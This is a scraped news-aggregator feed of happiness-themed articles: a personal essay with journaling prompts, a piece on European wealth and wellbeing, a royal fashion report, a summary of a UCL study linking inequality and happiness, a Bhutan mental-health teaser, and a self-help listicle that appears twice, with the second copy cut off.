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]]> https://briefnews.eu/the-country-where-happiness-and-inequality-go-hand-in-hand/feed/ 0 Invest a Few Minutes a Day into Happiness with a 5 Minute Journal https://briefnews.eu/invest-a-few-minutes-a-day-into-happiness-with-a-5-minute-journal/ https://briefnews.eu/invest-a-few-minutes-a-day-into-happiness-with-a-5-minute-journal/#respond Fri, 10 Aug 2018 03:17:50 +0000 http://briefnews.eu/invest-a-few-minutes-a-day-into-happiness-with-a-5-minute-journal/ I was 10 and it was a white Lisa Frank journal with a red bubble gum dispenser on the front. It also came with a heart-shaped lock and key which was a must considering I had an older brother living under the same roof who was always looking for new and inventive ways to humiliate me.That one little journal (okay…I called it a diary back then) unlocked a world of potential to me which quite literally became my saving grace, my happy place, for the rest of my life.Over the years the aesthetics of my journal evolved, as did my writing subjects and style thankfully, but the one thing that’s been constant is that no matter how sad I am or how bad things have seemed before I started writing, somehow the world and my place in it always becomes clearer and less noisy after just 5 minutes of “writing it out.”

Why not write?

For most of my life, I never really knew or cared why writing for even 5 minutes made me happier, I just knew it worked.If I was feeling lost or unhappy, I’d eventually realize I hadn’t written in a while (duh!). So I’d meet myself back at the blank page and word by word start feeling more like me again.To be completely honest, I did (and still do) this forgetting-to-journal dance way more often than I’d like to admit. For the life of me, I don’t know why I don’t keep doing the thing I know makes me happy every day instead of waiting until I’m unhappy to do the thing. Can you relate?I’m pretty certain it’s not just a me thing: it’s a human thing. We know we’ll be happier if we eat better, exercise, disconnect from technology, get more sleep, etc. but often times it takes us feeling unhappy in order to put in the effort to be more happy.A couple of months ago I found myself in that place:I’d hit a wall of resistance around my business and a downturn in my health that caused me to doubt what I was capable of accomplishing. I was completely confused and indecisive about the direction of my business and where I should be focusing my limited energy, so I hired a coach to help me sort through my noisy brain.As I laid out all of my decisions and endless to-do lists in front of her she asked me an important question:What’s one thing you can start doing everyday that will have a positive impact on all of these things?In other words: What if instead of having to worry about ALL THE THINGS to be happier, you could just do ONE thing and everything else would get better too?I could start every day with a few minutes in my journal.

The life-changing magic of a 5 minute journal

It’s both hilarious and embarrassing that as a coach and a writer (and a coach who works with writers) that I hadn’t thought of this myself. Alas, as the saying goes, doctors are the worst patients.Of course the answer was writing in my journal! Isn’t the answer almost always the most obvious thing?But sometimes the answer is so obvious, so simple, so free and convenient that we convince ourselves that it can’t possibly do that much to improve our situation. Somehow in the busy-ness of life, I’d convinced myself I just couldn’t spare that time to do something so…(cringe) arbitrary.Yet as I thought about my coach’s question and the ONE THING that could positively affect all the things, I realized that journaling for me has always been so much more than a random outlet for exploring my feelings.Sure, nothing actually happened but me sitting on my bed in my pajamas writing. But over the years, from break ups to big moves, my most life-changing moments–like my decision to pursue writing as a career, to uproot my entire life and move cross country, and my finally feeling ready to become a mother–happened in the quiet moments between me and the pages of my journals.

Writing prompts: Why using them keeps you on the “write” track

The other day I was talking to a friend of mine about writing this article. I asked her how often she journals and if she thought it made her happier.In general, she said, yes, journaling does seem to help her get things off her chest but she doesn’t always feel better afterward. And, in fact, sometimes if she’s already in a negative place, she can spiral even worse while journaling and go to an even darker place.She told me that usually with time and perspective, she can see that just the act of writing and getting out of her head is therapeutic but suggested that for people like her, prompts to help her not spiral into the negative abyss would be super helpful.And so, without further ado, I give you…

5 Five-minute journal prompts for a happier you

In order to make sure you get the most out of your 5 minute journal, I’ve broken up each writing prompt based on how you’re feeling so you can let your emotions guide the best prompt for you that day to increase your happiness meter.

1. When you’re burnt out, talk to your inner hero (a.k.a the “real” you).

What’s the one thing everyone tells you about maintaining happy, healthy relationships?You’ve gotta have great communication!But what about your relationship with yourself? How do you connect with you? How do you continue being the hero in your story?The same way that you have to make the time to connect with the people in your life who mean the most to you, you also have to make the time for you to hear your voice:To remember what YOU sound like amidst all of the noise in the world. To listen to your inner hero.For me, the only way I know how to do this, the only way I’ve ever known how to do this, is through journaling.Our brains can go down negative spirals, especially when we’re tired and stressed.In my last Lifehack article about finding motivation, I walk you through some questions you can ask yourself about whether you’re playing the role of victim or hero of your story. Definitely check it out if you’re really on the brink, or in the midst, of some serious burn out.Essentially, if you’re burnt out, you’ve somehow let your circumstances take control of your life. In other words, you’ve started to act like the victim instead of the hero.Luckily, just 5 minutes in your journal can help you find your inner hero (your true voice) and reclaim your right to live your happiest life.Write down these questions in your journal and answer them one at a time–permission to be 100% honest granted:

  • What do I believe is the #1 reason I’m feeling burnt out?
  • Who or what did I blame in my last answer?
  • Taking 100% responsibility for my own life and decisions, and casting blame on no one (including myself), how can I improve this situation?
  • What decisions am I currently making to stay in these circumstances (how am I choosing them)?
  • What new decisions can I start making to get closer to where I want to be?
  • What do I need to let go of in order to get my energy back? What do I need to say “no” to?

When you start to own your role of hero, you start to realize how your current choices and limiting beliefs may be holding you back from living the happiest version of your life.The great news is once you realize your past choices have brought you to your current circumstances, you also realize that you can make different choices to bring you to a happier place.

2. When you’re doubting yourself, write off the gremlins.

Whenever I’m feeling down on myself, it usually has less to do with what’s happening on the outside and more to do of what’s happening between my ears. In other words, how “I’m” talking to myself.We all have little shame gremlins (I call mine “Mean Girls”) who live inside of our heads and tell us we’re dumb and ugly and worthless. The only way to combat those noisy buggers is to expose them for the liars they are.Writing down their lies makes them powerless. Once they’re out of your head and on paper, you realize how ridiculous they truly are (even though they were completely owning you just moments before).I like to write out all the nasties and put them in their place (which is on the page and out of my head, pronto). Then I can go back to living my happy truth.Here are some powerful questions to ask your inner gremlins (perhaps better known as you being a real jerk to yourself). Write down each question and answer them in your journal.Ask your gremlins:

  • What are you saying about me? (Don’t hold back. Really write down all of the terrible thoughts you’re having about yourself)

Then ask:

  • Is anything true about each of the things I just wrote?
  • Repeat this same exercise for each of the nasty things your gremlins are saying about you and expose them in their lies once and for all.

When you’re done, answer these powerful questions:

  • Knowing what I know now, what’s one thing I can do to improve each of these areas of my life?
  • Knowing that the voices of the gremlins are strong, what are 3 new beliefs or positive affirmations I can say daily about myself to drown out their negativity?

For example, let’s use a fictional character of a guy named Sam. Sam’s gremlins are telling him “you’re a lousy parent, a terrible spouse, and mediocre at work.”If Sam asks himself, “Am I really a lousy parent?” Maybe his answer is “No, I love my kids and I’m doing the best I can. I just wish I could be more attentive when I’m with them instead of so distracted by work.”So maybe Sam decides to not bring his work computer home with him anymore and really unplug once he leaves the office so he can give his kids his full attention.Sam decides that his new daily affirmation is: “I’m a loving father and am fully present for my kids. I save the best of me for my family.”Imagine how much better you’ll feel when you start to take back control over your self talk and program in the messages that empower you and get you closer to the person you strive to be.

3. When you’re indecisive or afraid, talk to your fear.

Those same shame gremlins or mean girls inside of our heads feed off of fear. It’s like a good piece of gossip they can’t help but spread and exaggerate.Luckily, when we write out how we’re feeling and what negative thoughts are spiraling, we can generally recognize when it’s actually just our fears talking.You’re probably wondering how to tell if it’s fear talking or your intuition, right? This is where exploring your feelings comes into play.Are you feeling powerless? Are you feeling anxious or sad? Everyone’s response to fear is different but it’s never a positive feeling.If you’re at peace and calm but feel nudged that something isn’t right, that’s most-likely your intuition talking. But if you’re in a glass cage of negative emotions, you can bet fear is the culprit.Don’t hate on fear too much though. Our fears are just trying to protect us from something–the rub is they also usually keep us from something even better in the process.I like to use journaling as a way to have a little talk with my fear, understand where it’s coming from and then decide if it’s worth listening to.Here’s your journaling prompt for hashing it out with your fear:Again, write down these questions in your journal one at a time and answer each one:Ask your fear…What are you trying to protect me from?Once you answer that ask:What are you preventing me from having if I listen to you?If the thing you really want is on the other side of your fear, then you know what you have to do next (luckily journals are a great place to make to-do lists as well)!My last and favorite questions to ask fear is:What’s the absolute worst-case scenario?For example, let’s say you’re terrified of breaking ties with a client who is making your professional life miserable. You may answer this question with something like “My client blacklists me and smears ugly rumors about me all around town and not only do I lose one client but my entire business goes down.”Eeesh. That does sound scary. Now ask yourself…What are some steps I can take to ensure the worst case scenario doesn’t happen? And then…How likely is it that the worst-case scenario will actually happen (especially if I use the plan above)? Maybe, when you think about it, the client is actually preventing you from bringing in new business because they’re taking up so much of your time.And maybe that client doesn’t even have the best reputation so the chances of them being able to bring you down are pretty small.What if you spent one hour a week for the next 3 weeks working on bringing in new business to replace the the income you make from that client, and figure out a way to end the contract in a very respectful, classy way to hopefully make the odds of them making a stink minimal?Now you have a plan! But there’s one more question to ask yourself:If the worst case scenario happened, what would you do? Maybe you realize that if you really needed to, you could always go back to your previous job; they loved you and beg you to all the time. Or you could get by for a couple of months until you were able to bring in some more clients, especially if you cut back on expenses.Once you stare your fear in the face it magically loses its power. Left inside of your head it can destroy you, but taking a few minutes to look at it and use it as a friend who’s showing you where you may need to implement a plan in order to protect yourself, you can take back the reins of your happiness and realize that fear really isn’t all that scary at all.At this point, it needs to be said that journaling isn’t only good for getting out the nasty feelings, it’s also super useful for recording the good stuff of life which leads me to the fourth writing prompt.

4. When you’re in a funk, focus on Gratitude

Just about any happiness book or article you read will tell you that being in a state of gratitude dramatically increases your happiness. For me, having a place to get down to the truth of my life and what’s actually going really well and what I’m grateful for helps put everything into perspective, especially when I’ve got a case of the blues.Here are some of my favorite gratitude prompts to help get me out of a funk and focusing on the sunnier side of life.Write down these questions in your journal one at a time and answer each one:

  • What is something good that happened today?
  • What made me laugh or smile today?
  • Who am I grateful for today?
  • What am I grateful for today?
  • With my “gratitude glasses” on, how do my problems or the funk I’m in look in relation to all of the good things I have in my life?

Shifting out of a funk and into gratitude shifts your energy out of “woe is me” and into “yay for me” which means, based on the Law of Attraction, you’ll begin to attract more of the things you want and less of what you don’t.Seriously, yay for you!

5. When you’re uninspired or bored with the status quo, let it flow.

One of the best and easiest ways to tap into your inspiration and feel a little bit of creative magic in your life is through stream of consciousness writing.I dare you to put your pen on a blank page for 5 minutes and do nothing but make sure the pen doesn’t stop moving.No thinking. No judgements. The only thing you’re not allowed to do is overthink or judge your writing. It’s all good. Everything that comes out is good (even if it’s total crap).When I was in grad school, I took this awesome class on creativity and in it read a book called “From Where you Dream” by Robert Olen Butler. The book is mostly about fiction writing but essentially he says that the best time to tap into your subconscious (where your “flow” lives) is when you first wake up in the morning.Since you’re fresh from dreaming, your brain is still tuned to that frequency, so to speak, and not clouded by “reality” from your day-to-day life.So my last and final 5-minute journal prompt for you, uninspired one, is to wake up and let yourself keep dreaming on paper.Here are your instructions:

  1. Set the timer for 5 minutes.
  2. Open your journal.
  3. Pick up your pen.
  4. Keep your pen moving until your timer stops.

What I love about this is it requires releasing all expectations and giving yourself creative freedom to let whatever needs to come out come out.

Become happier in 5 minutes or less

Giving yourself a safe space to not expect anything other than to just show up and be honest is incredibly liberating.In a world where there are endless things we are supposed to be doing and ways in which we’re supposed to be doing them, I love showing up to a blank page with no requirements other than to just let my hand move.It’s free and requires nothing from me other than just showing up wherever I am–talk about an endless source of grace!Plus it gets my myriad thoughts out of my head and allows me to release them from my body, which research at top universities has shown can dramatically reduce stress.((Harvard Health Publishing: Writing about emotions may ease stress and trauma))You don’t need to change EVERYTHING in your life all at once (it doesn’t work anyway, trust me, I’ve tried).Start with giving yourself the gift of reflection in your journal every day and see how your life starts to change. I guarantee you’ll feel more connected with yourself in the process and over time everything in your life will start to be a better reflection of you and what you value.And that, my friends, is the key to lasting happiness.

]]> https://briefnews.eu/invest-a-few-minutes-a-day-into-happiness-with-a-5-minute-journal/feed/ 0 Europeans Have Never Been Richer – But Are They Happy? https://briefnews.eu/europeans-have-never-been-richer-but-are-they-happy/ https://briefnews.eu/europeans-have-never-been-richer-but-are-they-happy/#respond Fri, 27 Jul 2018 12:26:15 +0000 http://briefnews.eu/?p=213987 The EEA boasts a combined GDP of over €15tn, as reported by CountryEconomy.com, yet not everyone is higher. According to EU stats – updated this year – the average European assesses their happiness as 7/10. However, this fluctuates massively, with high income individuals in Denmark far happier than those in, say, Croatia.

The conclusion to be found here is that money does not necessarily make you happy. A cursory glance at the internet brings up plenty of ways to improve your life, from decluttering your personal space to improving mental health. While these form one part of the happiness recipe, what part does money really play?

Money and time

Until the EU Working Time directive made its presence known – in and out of the EU – employers were allowed, and in sometimes obliged, to provide long working hours to their staff. As time has wore on, the relationship between time and money making has changed. Working from home is commonplace, and the internet has created income opportunities to make money outside of the classic working day. Liberalising workers to stick to their own schedule has a marked effect on happiness. According to Condé Nast Traveler, European work life balance in the Netherlands, Denmark and Sweden rank high. Not coincidentally, these are three of the countries that have reported the highest levels of overall happiness in the EU figures quoted earlier.

How wealth acts as a comforter

Whilst time is clearly a big factor in reported happiness, money can’t be discounted – all of the nations with better work-life balances boast high GDP per capita, after all. The second major aspect when considering the impact of money on happiness is poverty. While having money isn’t the same as being happy, having nothing at all is worse. Statistics collated by the UK’s Office of National Statistics found that people in persistent poverty are 15% more anxious than the general population, with a rate of 36%.

What, then, is the tipping point? A study of 1.7m people, conducted by Gallup, found that people are generally satiated at income levels of €80k (women) and €72k (men). These aren’t huge sums of money, and are reasonable wages for middle-experience professionals and graduates. The key is that these sums are able to live without worrying about money. Emergencies can be dealt with easily, and big purchases are feasible, rather than a pipe dream.The countries that meet these levels? The Netherlands, Denmark and Sweden are among them. It goes to show that being incredibly wealthy doesn’t buy you happiness.

The key ingredients for happiness with your monetary situation are multifold. Being rich isn’t necessarily happiness, and seems to depend on the country you’re in. Time is a key component, with your leisure and rest hours as important as your working ones. Finally, there is a point of satisfaction, and the countries that meet the other points also tick that box. In short, today’s workers want time to disengage and enough cash to live life without worries.

]]> https://briefnews.eu/europeans-have-never-been-richer-but-are-they-happy/feed/ 0 Camilla Duchess of Cornwall beams with happiness as she continues Wales visit with Charles https://briefnews.eu/camilla-duchess-of-cornwall-beams-with-happiness-as-she-continues-wales-visit-with-charles/ https://briefnews.eu/camilla-duchess-of-cornwall-beams-with-happiness-as-she-continues-wales-visit-with-charles/#respond Tue, 03 Jul 2018 13:33:26 +0000 http://briefnews.eu/camilla-duchess-of-cornwall-beams-with-happiness-as-she-continues-wales-visit-with-charles/

Camilla, Duchess of Cornwall, joined husband Prince Charles, 69, in Llangwm, west Wales today.

The royal was lucky enough to enjoy a day in the sunshine and dressed accordingly for the warm temperatures.

Prince Charles’ wife wore a simple blue dress which stopped at her knee and featured elbow-length sleeves.

She paired this with a heavy silver necklace and classic Ray Ban sunglasses.

The mum-of-two added a modern touch with her shoes, which had a nude pointed toe and low wooden block heel.

A pair of pearl drop earrings could be seen hanging from her ears.

As usual, Camilla’s hair was blow dried to perfection in her usual short style.

She kept her makeup simple, opting for a pink lipstick.

Charles and Camilla enjoyed a visit to a church, where they took in a floral display, and a look at traditional oyster fishing methods as part of their day out.

The royal couple started their visit to Wales yesterday. They visited the Second Severn Crossing, over the river Severn.

Camilla wore a green, white and orange floral print dress for the first day.

She carried a brown leather clutch bag in one arm, and wore a string of pearls around her neck.

Last week, Camilla stepped out on her own to attend The Royal Society of Literature “40 Under 40” fellow induction at The British Library.

The blonde 70-year-old slipped into a purple dress with a pretty gold paisley patter on the pleated skirt.

The richly coloured dressed evoked a royal tradition.

Purple is associated with royalty, and one of Britain’s greatest ever queens.

Elizabeth I is said to have forbidden anyone except her and her close family to wear the colour.

One thing Camilla wears often is a pair of classic pumps from Chanel.

While many may assume this is simply Camilla’s favourite style, there is said to be a deep significance to them.

The two interlocking C’s, a symbol of the brand, spell out Charles and Camilla – adding a romantic touch to the Duchess’ outfits.

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]]> https://briefnews.eu/camilla-duchess-of-cornwall-beams-with-happiness-as-she-continues-wales-visit-with-charles/feed/ 0 There's a New Secret to Happiness https://briefnews.eu/theres-a-new-secret-to-happiness/ https://briefnews.eu/theres-a-new-secret-to-happiness/#respond Mon, 25 Jun 2018 10:02:35 +0000 http://briefnews.eu/theres-a-new-secret-to-happiness/

What is the secret to happiness? The age-old question has beguiled poets and philosophers alike. Now, scientists are forgoing melancholic musing for a more methodical approach, unveiling a new equation for predicting happiness in a Nature Communications paper.

The study authors built on an earlier version of the equation they had published in 2014, which factored in the influence of expectations. Their updated equation also accounts for inequality, reflecting that happiness depends on what befalls no only us, but also those around us. In other words,

Our happiness drops when others receive more or less than we do.

The equation can also predict generosity based on how an unequal outcome affects someone’s happiness. Archy de Berker and Robb Rutledge, both of University College London, led the study amid staggering inequality around the world. Research has also shown that countries with high levels of equality like Iceland and the Netherlands rank highly in well-being. That may be because “individuals themselves might be inequality averse,” de Berker says.

To understand how inequality affects happiness, de Berker’s team recruited 47 adults to participate in a so-called dictator game. The researchers gave the participants a sum of money and asked how much they wanted to split with a partner, with the disclaimer that the partner would not know the donation amount. They then played several rounds of a gambling computer game, also with a partner. A screen displayed the outcome of their partner’s gamble in addition to their own.

Every few rounds, the researchers asked participants to rate their happiness by plotting it on a horizontal line, with the left side marked “very unhappy” and the right marked “very happy.” On average, participants’ happiness decreased when their partner experienced a different outcome from their own, regardless of whether they themselves had won or lost. They felt happiest when they and their partner both won — even happier than when they won, and their partner lost. In fact, they felt happier when both they and their partner lost versus when they lost and their partner won.

For each participant, the researchers compared happiness levels when the participant and his or her partner experienced unequal outcomes. Participants who felt happier on average when they lost and their partner won— those for whom guilt played a bigger role in their happiness — were more generous in the dictator game. In fact, they gave away three times more money than participants who felt happier when they won and their partner lost — those for whom envy played a bigger role in their happiness. The researchers then added terms to their earlier equation to account for the influences of envy and guilt, resulting in a model that predicts happiness and generosity.

To be sure, the equation represents “happiness in this particular task, not some model of general happiness,” says Elizabeth Tricomi of Rutgers University. In the real world, “other things matter besides whether someone is making more or less than you.” Tricomi also wonders how accurately the equation predicts happiness and generosity in the long term — for example, even after spotting a dent in your car the next day. But overall, “it was a nice study,” she says, and we can’t expect a comprehensive model of happiness based on a single study. De Berker acknowledges that his team’s equation “is a reasonable approximation to the real world, but obviously it is quite different.” For instance, how you feel about a co-worker earning more than you might also depend on how hard each of you works, which a game of chance can’t replicate.

Besides shedding light on how to lead happier lives, “we can use these same kinds of equations to understand what happens when happiness goes wrong” — like in depression— as well as design and predict the helpfulness of clinical interventions, de Berker says. He and his team are identifying the brain chemicals involved in activities like those in the study, and how they affect happiness and generosity. For now, their findings show that whether you’re struggling with frenemy envy or FOMO, “people very much care about what other people have in relation to themselves,” Tricomi says.

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]]> https://briefnews.eu/theres-a-new-secret-to-happiness/feed/ 0 Bhutan, a country known for its index that measures happiness, is dealing with a mental health crisis https://briefnews.eu/bhutan-a-country-known-for-its-index-that-measures-happiness-is-dealing-with-a-mental-health-crisis/ https://briefnews.eu/bhutan-a-country-known-for-its-index-that-measures-happiness-is-dealing-with-a-mental-health-crisis/#respond Sat, 12 May 2018 20:43:22 +0000 http://briefnews.eu/bhutan-a-country-known-for-its-index-that-measures-happiness-is-dealing-with-a-mental-health-crisis/ Bhutan mental health crisis PRIs The World 1

  • Health in Bhutan is largely measured by its Gross National Happiness Index, which was written into the constitution when the nation became a constitutional monarchy 10 years ago. 
  • Known as the happiest country in the world, Bhutan is now facing high rates of alcoholism and domestic violence since modern technology has shifted Bhutanese identity.
  • With few resources and only one psychiatric ward in the country, a psychiatrist and journalist are among those spreading awareness of the mental health crisis. 

The tiny kingdom of Bhutan, tucked away in the Himalayas between China and India, is known for its innovative Gross National Happiness Index, a measurement tool used to incentivize policies that increase the well-being of its people. When Bhutan became a constitutional monarchy 10 years ago, the index was written into the new constitution as a guiding principle of governance, one deeply rooted in Buddhism.

The country’s tourism council paints an image of a real-life Shangri-La, where visitors seeking a high-altitude paradise will find chiming bells, fluttering prayer flags, crimson-robed monks, staggering mountain views and one of the world’s most unspoiled cultures.

See the rest of the story at Business Insider

NOW WATCH: Jeff Bezos reveals what it’s like to build an empire and become the richest man in the world — and why he’s willing to spend $ 1 billion a year to fund the most important mission of his life

See Also:

SEE ALSO: Some people struggle to create boundaries — here’s why it’s important to learn to say ‘no’

]]> https://briefnews.eu/bhutan-a-country-known-for-its-index-that-measures-happiness-is-dealing-with-a-mental-health-crisis/feed/ 0 Mastering The Art of Happiness (9 Tips to Get Started) https://briefnews.eu/mastering-the-art-of-happiness-9-tips-to-get-started-7/ https://briefnews.eu/mastering-the-art-of-happiness-9-tips-to-get-started-7/#respond Sat, 28 Apr 2018 05:56:56 +0000 http://briefnews.eu/mastering-the-art-of-happiness-9-tips-to-get-started-7/

As we get older, we begin to understand that a fulfilling life is one in which we are unapologetically happy.

However, finding and maintaining that happiness can be evasive for some; even though the potential for happiness is all around us!

If you’ve always thought of the potential of mastering the art of happiness, but was never quite sure where to begin, we’ve got you covered.

In this guide, we’ll break it down for you so achieving happiness isn’t just attainable, but actually quite simple!

Happiness Is Simple

If you want to live a happier lifestyle, here are 9 tips that will help you to get started on the road to happiness!

1. Acceptance is Key

It becomes easy to lose track of your happiness when you are consistently fighting against the current of your life.

All things, no matter whether they are good or bad, enter our lives for a reason; and, we choose how to respond to each situation.

Rather than pushing each of these situations away when they don’t appeal to you, attempt to embrace them and find solutions that help you come out a victor on the other side.

When you begin to go with the flow and work with what you’ve been given, you’ll find that you become much happier overall.

2. Positivity is All Around You

Everything has a positive aspect. Everything!

Even the most painful or difficult situations have a silver lining to them. When we fail to recognize these positive aspects and only focus on the negative outcomes or qualities of a certain person or situation, it makes it easier for sadness and doubt to creep into our lives.

The next time that you are dealing with something painful or difficult, try to take a step back from the situation and assess it logically.

Is there something in this situation that could be perceived as positive?

If you search deep enough, you are certain to find some type of positivity. Never give up!

3. Fill Your Life With Love

A life filled with activities and relationships that do not fulfill you is a waste of your time and will not make you happy. As life goes on, we lose track of our hopes and dreams and begin to settle on what we think we should be doing rather than what we want to do.

Although this is a habit that is hard to break away from, settling can make us rather unhappy. The solution? Start taking a look at each area of your life and decide whether or not you feel fulfilled.

In the areas where you feel as though you are lacking, take some time to figure out what may make you feel happier. For example, imagine that your job is not quite what you thought it would be when you first started, and definitely not the job that you dreamt about when you were growing up.

While some people would stick with this job despite this major issue, consider the idea of making a job change. The reason you make this change is because you know that you will be happier doing what you want to do rather than what is expected! Although it will take some time, the end results will be worth it.

4. Make Every Minute Count

The honest truth about life is that we only have so many minutes on this planet. Why waste them being unhappy?

You should be living your life to the fullest and getting everything you want, rather than spending your time doing things that don’t matter to you. If you have moments where you feel unfulfilled, or you are voluntarily spending time with people that make you less than happy, reduce these tendencies.

It can be hard to remember that there are so many hours in the day but it is a very motivational piece of information.

To remind yourself of this key piece of information, put a sticky note down in a place where you find yourself repeatedly throughout the day or set the reminder as your phone wallpaper.

This way, you will always remember that each minute counts and that you need to chase what you want in order to lead the happiest life possible. Prioritize your time as though it is precious–because it is.

5. Practice Self-Care

Self-care is one of the most important things to do to stay happy and maintain your overall mental health. What is self-care? To put it simply, self-care is the practice of engaging in activities that help you to mentally recharge.

For example, a self-care day may involve an hour of intense journaling, a trip to the spa where you get a full body treatment, and a couple of hours of your favorite movies. No matter what you do, self-care activities will always help you to center yourself and make you feel more relaxed.

There is no rule as to how often you need to practice self-care to stay happy and healthy. Just practice it whenever you feel that you need it! Of course, don’t neglect your obligations, but certainly don’t feel guilty for giving yourself a mental recharge every once in a while. In the end, these small acts of self care will make a big difference.

6. Seek Out Exciting Experiences

A stagnant lifestyle can become a boring and unsatisfying lifestyle rather quickly. Even the happiest of individuals can find themselves unsatisfied if they continue to live the same day repeatedly.

You should always be seeking out new experiences to learn more about the world around you and to discover new passions and interesting (and inspiring!) people. The best thing about new experiences is that they often don’t have to be large or expensive to be satisfying.

Sit down with your phone or with a piece of pencil and a paper and jot down some of the things that you have always wanted to do. After you’ve finished your own personal list, do some exploring on the internet and come up with some ideas of activities that you’ve wanted to do or places that you’ve wanted to visit as well.

Once your list is full, make it your goal to tackle these items one by one. Eventually, you will have fulfilled these passions and you can begin to create a list of new ones! Before you know it, you’ll look back on what you’ve accomplished and feel incredibly fulfilled.

7. Set Goals and Dominate Them

There is nothing quite like setting a goal and successfully following through on it. In fact, this is one of the main confidence-building methods recommended for those who are trying to work through their depression.

Without goals, life can become very bland and you may lose focus on what truly matters to you. Goals are what give you purpose and motivation to live through each day doing what it is that will make you happy.

One great source for goal-making and following through on your goals is Zig Ziglar’s Wheel of Life. This source will teach you about the main categories of life goals that you should be setting for yourself, and how you can be strong on your follow through as well!

8. Express Endless Gratitude

Being grateful is truly a blessing. Through gratitude, we learn that there is always something beautiful going on in our lives. Even during the darkest of days, you can still be grateful for something as simple as getting eight hours of sleep or having a stranger saying hello to you on the street.

To start practicing gratitude, all you have to do is begin reciting the things you are grateful for daily. One popular method for showing gratitude is to grab a journal and to write down three things each day that you are grateful for.

After a while, you will begin to notice that your perspective towards life has shifted and you will begin looking for the positive rather than focusing on the negative!

You’ll find it easier to focus on all the things that you are grateful for without trying, which will being a great sense of joy to your everyday life. This comes in handy especially during times of stress; in these times, remembering the things you are grateful for can be incredibly beneficial.

9. Volunteer Your Time 

As Gandhi once said, “The best way to find yourself is to lose yourself in the service of others.” We all get a little too tangled up in our own lives and thoughts sometimes, that we can forget there is a whole world out there filled with situations and people who are just as complex as we are.

Volunteering helps shed some light on that reality and it gives you the opportunity to reach out, help others, and make a difference in the community or in the world. When you have the ability to make a major difference in someone’s day, happiness is sure to flock to you.

Helping others will also make you consider all the things in your own life to be grateful for, and again, this gratitude will take you quite far in your pursuit of happiness.

Happiness is All Around

While happiness may seem hard to obtain, the truth is that it is all around us and you just need to know where to look, what to do, and how to appreciate the pockets of happiness in life.

By following the guidance within these 9 suggestions above, you will be living the happy life that you have always wanted in no time.

Featured photo credit: Photo by Jenn Evelyn-Ann on Unsplash via unsplash.com

The post Mastering The Art of Happiness (9 Tips to Get Started) appeared first on Lifehack.

]]> https://briefnews.eu/mastering-the-art-of-happiness-9-tips-to-get-started-7/feed/ 0 Mastering The Art of Happiness (9 Tips to Get Started) https://briefnews.eu/mastering-the-art-of-happiness-9-tips-to-get-started-6/ https://briefnews.eu/mastering-the-art-of-happiness-9-tips-to-get-started-6/#respond Sat, 28 Apr 2018 03:33:46 +0000 http://briefnews.eu/mastering-the-art-of-happiness-9-tips-to-get-started-6/

As we get older, we begin to understand that a fulfilling life is one in which we are unapologetically happy.

However, finding and maintaining that happiness can be evasive for some; even though the potential for happiness is all around us!

If you’ve always thought of the potential of mastering the art of happiness, but was never quite sure where to begin, we’ve got you covered.

In this guide, we’ll break it down for you so achieving happiness isn’t just attainable, but actually quite simple!

Happiness Is Simple

If you want to live a happier lifestyle, here are 9 tips that will help you to get started on the road to happiness!

1. Acceptance is Key

It becomes easy to lose track of your happiness when you are consistently fighting against the current of your life.

All things, no matter whether they are good or bad, enter our lives for a reason; and, we choose how to respond to each situation.

Rather than pushing each of these situations away when they don’t appeal to you, attempt to embrace them and find solutions that help you come out a victor on the other side.

When you begin to go with the flow and work with what you’ve been given, you’ll find that you become much happier overall.

2. Positivity is All Around You

Everything has a positive aspect. Everything!

Even the most painful or difficult situations have a silver lining to them. When we fail to recognize these positive aspects and only focus on the negative outcomes or qualities of a certain person or situation, it makes it easier for sadness and doubt to creep into our lives.

The next time that you are dealing with something painful or difficult, try to take a step back from the situation and assess it logically.

Is there something in this situation that could be perceived as positive?

If you search deep enough, you are certain to find some type of positivity. Never give up!

3. Fill Your Life With Love

A life filled with activities and relationships that do not fulfill you is a waste of your time and will not make you happy. As life goes on, we lose track of our hopes and dreams and begin to settle on what we think we should be doing rather than what we want to do.

Although this is a habit that is hard to break away from, settling can make us rather unhappy. The solution? Start taking a look at each area of your life and decide whether or not you feel fulfilled.

In the areas where you feel as though you are lacking, take some time to figure out what may make you feel happier. For example, imagine that your job is not quite what you thought it would be when you first started, and definitely not the job that you dreamt about when you were growing up.

While some people would stick with this job despite this major issue, consider the idea of making a job change. The reason you make this change is because you know that you will be happier doing what you want to do rather than what is expected! Although it will take some time, the end results will be worth it.

4. Make Every Minute Count

The honest truth about life is that we only have so many minutes on this planet. Why waste them being unhappy?

You should be living your life to the fullest and getting everything you want, rather than spending your time doing things that don’t matter to you. If you have moments where you feel unfulfilled, or you are voluntarily spending time with people that make you less than happy, reduce these tendencies.

It can be hard to remember that there are so many hours in the day but it is a very motivational piece of information.

To remind yourself of this key piece of information, put a sticky note down in a place where you find yourself repeatedly throughout the day or set the reminder as your phone wallpaper.

This way, you will always remember that each minute counts and that you need to chase what you want in order to lead the happiest life possible. Prioritize your time as though it is precious–because it is.

5. Practice Self-Care

Self-care is one of the most important things to do to stay happy and maintain your overall mental health. What is self-care? To put it simply, self-care is the practice of engaging in activities that help you to mentally recharge.

For example, a self-care day may involve an hour of intense journaling, a trip to the spa where you get a full body treatment, and a couple of hours of your favorite movies. No matter what you do, self-care activities will always help you to center yourself and make you feel more relaxed.

There is no rule as to how often you need to practice self-care to stay happy and healthy. Just practice it whenever you feel that you need it! Of course, don’t neglect your obligations, but certainly don’t feel guilty for giving yourself a mental recharge every once in a while. In the end, these small acts of self care will make a big difference.

6. Seek Out Exciting Experiences

A stagnant lifestyle can become a boring and unsatisfying lifestyle rather quickly. Even the happiest of individuals can find themselves unsatisfied if they continue to live the same day repeatedly.

You should always be seeking out new experiences to learn more about the world around you and to discover new passions and interesting (and inspiring!) people. The best thing about new experiences is that they often don’t have to be large or expensive to be satisfying.

Sit down with your phone or with a piece of pencil and a paper and jot down some of the things that you have always wanted to do. After you’ve finished your own personal list, do some exploring on the internet and come up with some ideas of activities that you’ve wanted to do or places that you’ve wanted to visit as well.

Once your list is full, make it your goal to tackle these items one by one. Eventually, you will have fulfilled these passions and you can begin to create a list of new ones! Before you know it, you’ll look back on what you’ve accomplished and feel incredibly fulfilled.

7. Set Goals and Dominate Them

There is nothing quite like setting a goal and successfully following through on it. In fact, this is one of the main confidence-building methods recommended for those who are trying to work through their depression.

Without goals, life can become very bland and you may lose focus on what truly matters to you. Goals are what give you purpose and motivation to live through each day doing what it is that will make you happy.

One great source for goal-making and following through on your goals is Zig Ziglar’s Wheel of Life. This source will teach you about the main categories of life goals that you should be setting for yourself, and how you can be strong on your follow through as well!

8. Express Endless Gratitude

